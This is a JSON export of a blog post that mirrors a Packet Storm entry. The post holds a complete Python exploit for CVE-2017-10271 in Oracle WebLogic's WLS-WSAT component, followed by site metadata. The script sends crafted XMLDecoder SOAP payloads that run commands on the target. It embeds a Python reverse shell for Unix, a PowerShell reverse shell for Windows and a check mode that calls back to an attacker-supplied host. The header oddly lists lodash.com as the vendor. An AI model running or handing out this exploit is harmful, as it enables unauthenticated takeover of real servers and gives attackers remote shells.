{"id":53078,"date":"2026-05-11T12:53:30","date_gmt":"2026-05-11T12:53:30","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=53078"},"modified":"2026-05-11T12:53:30","modified_gmt":"2026-05-11T12:53:30","slug":"oracle-weblogic-wls-wsat-xmldecoder-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=53078","title":{"rendered":"\ud83d\udcc4 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution_PACKETSTORM:220741"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-11T17:17:28&#8243;,&#8221;description&#8221;:&#8221;This script is a Python-based proof of concept exploit targeting a deserialization vulnerability in Oracle WebLogic Server&#8217;s WLS-WSAT component. The vulnerability allows unauthenticated attackers to execute arbitrary system commands via crafted SOAP&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220741&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2017-10271&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution Exploit                                                |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/lodash.com\/                                                                                              |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : This script is a Python-based proof-of-concept exploit targeting a deserialization vulnerability in Oracle WebLogic Server\u2019s WLS-WSAT component (CVE-2017-10271). \\n                     The vulnerability allows unauthenticated attackers to execute arbitrary system commands via crafted SOAP requests sent to the \/wls-wsat\/CoordinatorPortType endpoint.\\n                     The exploit supports both Unix and Windows targets by dynamically generating appropriate command payloads. \\n    \\t\\t\\t\\t It provides two operational modes: a verification mode that triggers an outbound HTTP request to confirm vulnerability, \\n    \\t\\t\\t\\t and an execution mode that attempts to establish a reverse shell connection to the attacker-controlled host.\\n                     The tool constructs malicious XML payloads leveraging Java\u2019s XMLDecoder and ProcessBuilder classes, enabling remote command execution if the target is vulnerable and accessible. \\n    \\t\\t\\t\\t It is intended strictly for security testing and research purposes in controlled environments.\\n    \\n    [+] POC   :  \\n    \\n    \\n    #!\/usr\/bin\/env python\\n    # -*- coding: utf-8 -*-\\n    \\n    from sys import exit\\n    from requests import post\\n    from argparse import ArgumentParser\\n    from random import choice\\n    from string import ascii_uppercase, ascii_lowercase, digits\\n    from xml.sax.saxutils import escape\\n    \\n    \\n    class Exploit:\\n    \\n        def __init__(self, check, rhost, lhost, lport, windows):\\n            self.url = rhost if not rhost.endswith(&#8216;\/&#8217;) else rhost.strip(&#8216;\/&#8217;)\\n            self.lhost = lhost\\n            self.lport = lport\\n            self.check = check\\n    \\n            if windows:\\n                self.target = &#8216;win&#8217;\\n            else:\\n                self.target = &#8216;unix&#8217;\\n    \\n            if self.target == &#8216;unix&#8217;:\\n                self.cmd_payload = (\\n                    \\&#8221;python -c &#8216;import socket,subprocess,os;\\&#8221;\\n                    \\&#8221;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\\&#8221;\\n                    \\&#8221;s.connect((\\\\\\&#8221;{lhost}\\\\\\&#8221;,{lport}));\\&#8221;\\n                    \\&#8221;os.dup2(s.fileno(),0);\\&#8221;\\n                    \\&#8221;os.dup2(s.fileno(),1);\\&#8221;\\n                    \\&#8221;os.dup2(s.fileno(),2);\\&#8221;\\n                    \\&#8221;subprocess.call([\\\\\\&#8221;\/bin\/sh\\\\\\&#8221;,\\\\\\&#8221;-i\\\\\\&#8221;]);&#8217;\\&#8221;\\n                ).format(lhost=self.lhost, lport=self.lport)\\n            else:\\n                self.cmd_payload = (\\n                    r\\&#8221;powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) \\&#8221;\\n                    r\\&#8221;{$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a=&#8217;\\&#8221; + self.lhost + r\\&#8221;&#8216;;\\&#8221;\\n                    r\\&#8221;$p=&#8217;\\&#8221; + self.lport + r\\&#8221;&#8216;;$c=New-Object system.net.sockets.tcpclient;\\&#8221;\\n                    r\\&#8221;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;\\&#8221;\\n                    r\\&#8221;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName=&#8217;cmd.exe&#8217;;\\&#8221;\\n                    r\\&#8221;$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;\\&#8221;\\n                    r\\&#8221;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;\\&#8221;\\n                    r\\&#8221;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;\\&#8221;\\n                    r\\&#8221;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};\\&#8221;\\n                    r\\&#8221;$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;\\&#8221;\\n                    r\\&#8221;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1;\\&#8221;\\n                    r\\&#8221;while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length &#8211; $pos);\\&#8221;\\n                    r\\&#8221;$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};\\&#8221;\\n                    r\\&#8221;if ($nb[0..$($pos-1)] -contains 10) {break}};\\&#8221;\\n                    r\\&#8221;if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);\\&#8221;\\n                    r\\&#8221;start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());\\&#8221;\\n                    r\\&#8221;while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=&#8221;}};\\&#8221;\\n                    r\\&#8221;$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};\\&#8221;\\n                )\\n    \\n            self.cmd_payload = escape(self.cmd_payload)\\n    \\n        def cmd_base(self):\\n            return &#8216;cmd&#8217; if self.target == &#8216;win&#8217; else &#8216;\/bin\/sh&#8217;\\n    \\n        def cmd_opt(self):\\n            return &#8216;\/c&#8217; if self.target == &#8216;win&#8217; else &#8216;-c&#8217;\\n    \\n        def get_generic_check_payload(self):\\n            random_uri = &#8221;.join(\\n                choice(ascii_uppercase + ascii_lowercase + digits)\\n                for _ in range(16))\\n    \\n            return &#8221;&#8217;\\u003csoapenv:Envelope xmlns:soapenv=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221;\\u003e\\n      \\u003csoapenv:Header\\u003e\\n        \\u003cwork:WorkContext xmlns:work=\\&#8221;http:\/\/bea.com\/2004\/06\/soap\/workarea\/\\&#8221;\\u003e\\n          \\u003cjava version=\\&#8221;1.8\\&#8221; class=\\&#8221;java.beans.XMLDecoder\\&#8221;\\u003e\\n            \\u003cobject id=\\&#8221;url\\&#8221; class=\\&#8221;java.net.URL\\&#8221;\\u003e\\n              \\u003cstring\\u003ehttp:\/\/{lhost}:{lport}\/{random_uri}\\u003c\/string\\u003e\\n            \\u003c\/object\\u003e\\n            \\u003cobject idref=\\&#8221;url\\&#8221;\\u003e\\n              \\u003cvoid id=\\&#8221;stream\\&#8221; method=\\&#8221;openStream\\&#8221; \/\\u003e\\n            \\u003c\/object\\u003e\\n          \\u003c\/java\\u003e\\n        \\u003c\/work:WorkContext\\u003e\\n      \\u003c\/soapenv:Header\\u003e\\n      \\u003csoapenv:Body\/\\u003e\\n    \\u003c\/soapenv:Envelope\\u003e&#8221;&#8217;.format(\\n                lhost=self.lhost,\\n                lport=self.lport,\\n                random_uri=random_uri\\n            )\\n    \\n        def get_process_builder_payload(self):\\n            return &#8221;&#8217;\\u003csoapenv:Envelope xmlns:soapenv=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221;\\u003e\\n      \\u003csoapenv:Header\\u003e\\n        \\u003cwork:WorkContext xmlns:work=\\&#8221;http:\/\/bea.com\/2004\/06\/soap\/workarea\/\\&#8221;\\u003e\\n          \\u003cjava\\u003e\\n            \\u003cobject class=\\&#8221;java.lang.ProcessBuilder\\&#8221;\\u003e\\n              \\u003carray class=\\&#8221;java.lang.String\\&#8221; length=\\&#8221;3\\&#8221;\\u003e\\n                \\u003cvoid index=\\&#8221;0\\&#8221;\\u003e\\n                  \\u003cstring\\u003e{cmd_base}\\u003c\/string\\u003e\\n                \\u003c\/void\\u003e\\n                \\u003cvoid index=\\&#8221;1\\&#8221;\\u003e\\n                  \\u003cstring\\u003e{cmd_opt}\\u003c\/string\\u003e\\n                \\u003c\/void\\u003e\\n                \\u003cvoid index=\\&#8221;2\\&#8221;\\u003e\\n                  \\u003cstring\\u003e{cmd_payload}\\u003c\/string\\u003e\\n                \\u003c\/void\\u003e\\n              \\u003c\/array\\u003e\\n              \\u003cvoid method=\\&#8221;start\\&#8221;\/\\u003e\\n            \\u003c\/object\\u003e\\n          \\u003c\/java\\u003e\\n        \\u003c\/work:WorkContext\\u003e\\n      \\u003c\/soapenv:Header\\u003e\\n      \\u003csoapenv:Body\/\\u003e\\n    \\u003c\/soapenv:Envelope\\u003e&#8221;&#8217;.format(\\n                cmd_base=self.cmd_base(),\\n                cmd_opt=self.cmd_opt(),\\n                cmd_payload=self.cmd_payload\\n            )\\n    \\n        def print_banner(self):\\n            print(\\&#8221;=\\&#8221; * 80)\\n            print(\\&#8221;CVE-2017-10271 RCE Exploit\\&#8221;)\\n            print(\\&#8221;written by: indoushka\\&#8221;)\\n            print(\\&#8221;Remote Target: {}\\&#8221;.format(self.url))\\n            print(\\&#8221;Shell Listener: {}:{}\\&#8221;.format(self.lhost, self.lport))\\n            print(\\&#8221;=\\&#8221; * 80)\\n    \\n        def post_exploit(self, data):\\n            headers = {\\n                \\&#8221;Content-Type\\&#8221;: \\&#8221;text\/xml;charset=UTF-8\\&#8221;,\\n                \\&#8221;User-Agent\\&#8221;: \\&#8221;Mozilla\/5.0\\&#8221;\\n            }\\n    \\n            vulnurl = self.url + \\&#8221;\/wls-wsat\/CoordinatorPortType\\&#8221;\\n    \\n            try:\\n                req = post(vulnurl, data=data, headers=headers, timeout=10, verify=False)\\n    \\n                if self.check:\\n                    print(\\&#8221;[*] Did you get an HTTP GET request back?\\&#8221;)\\n                else:\\n                    print(\\&#8221;[*] Did you get a shell back?\\&#8221;)\\n    \\n            except Exception as e:\\n                print(&#8216;[!] Connection Error&#8217;)\\n                print(e)\\n    \\n        def run(self):\\n            self.print_banner()\\n    \\n            if self.check:\\n                print(&#8216;[+] Generating generic check payload&#8217;)\\n                payload = self.get_generic_check_payload()\\n            else:\\n                print(&#8216;[+] Generating execution payload&#8217;)\\n                payload = self.get_process_builder_payload()\\n    \\n            print(&#8216;[*] Generated:&#8217;)\\n            print(payload)\\n    \\n            if self.check:\\n                print(&#8216;[+] Running generic check payload&#8217;)\\n            else:\\n    \\n                print(&#8216;[+] Running {} execute payload&#8217;.format(self.target))\\n    \\n            self.post_exploit(data=payload)\\n    \\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        parser = ArgumentParser(description=&#8217;CVE-2017-10271 WebLogic exploit&#8217;)\\n    \\n        parser.add_argument(&#8216;-l&#8217;, &#8216;&#8211;lhost&#8217;, required=True, dest=&#8217;lhost&#8217;)\\n        parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;lport&#8217;, required=True, dest=&#8217;lport&#8217;)\\n        parser.add_argument(&#8216;-r&#8217;, &#8216;&#8211;rhost&#8217;, required=True, dest=&#8217;rhost&#8217;)\\n        parser.add_argument(&#8216;-c&#8217;, &#8216;&#8211;check&#8217;, dest=&#8217;check&#8217;, action=&#8217;store_true&#8217;)\\n        parser.add_argument(&#8216;-w&#8217;, &#8216;&#8211;win&#8217;, dest=&#8217;windows&#8217;, action=&#8217;store_true&#8217;)\\n    \\n        args = parser.parse_args()\\n    \\n        exploit = Exploit(\\n            check=args.check,\\n            rhost=args.rhost,\\n            lhost=args.lhost,\\n            lport=args.lport,\\n            windows=args.windows\\n        )\\n    \\n        exploit.run()\\n    \\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/220741&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.5,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/220741\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-11T17:17:28&#8243;,&#8221;description&#8221;:&#8221;This script is a Python-based proof of concept exploit targeting a deserialization vulnerability in Oracle WebLogic Server&#8217;s WLS-WSAT component. The vulnerability allows unauthenticated attackers to&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-53078","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution_PACKETSTORM:220741 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=53078\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution_PACKETSTORM:220741 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-11T17:17:28&#8243;,&#8221;description&#8221;:&#8221;This script is a Python-based proof of concept exploit targeting a deserialization vulnerability in Oracle WebLogic Server&#8217;s WLS-WSAT component. The vulnerability allows unauthenticated attackers to...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=53078\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-11T12:53:30+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53078#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53078\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution_PACKETSTORM:220741\",\"datePublished\":\"2026-05-11T12:53:30+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53078\"},\"wordCount\":1472,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.5\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=53078#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53078\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53078\",\"name\":\"\ud83d\udcc4 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution_PACKETSTORM:220741 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-11T12:53:30+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53078#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=53078\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53078#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution_PACKETSTORM:220741\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution_PACKETSTORM:220741 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=53078","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution_PACKETSTORM:220741 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-11T17:17:28&#8243;,&#8221;description&#8221;:&#8221;This script is a Python-based proof of concept exploit targeting a deserialization vulnerability in Oracle WebLogic Server&#8217;s WLS-WSAT component. The vulnerability allows unauthenticated attackers to...","og_url":"https:\/\/zero.redgem.net\/?p=53078","og_site_name":"zero redgem","article_published_time":"2026-05-11T12:53:30+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=53078#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=53078"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution_PACKETSTORM:220741","datePublished":"2026-05-11T12:53:30+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=53078"},"wordCount":1472,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.5","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=53078#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=53078","url":"https:\/\/zero.redgem.net\/?p=53078","name":"\ud83d\udcc4 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution_PACKETSTORM:220741 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-11T12:53:30+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=53078#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=53078"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=53078#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution_PACKETSTORM:220741"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/53078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=53078"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/53078\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=53078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=53078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=53078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}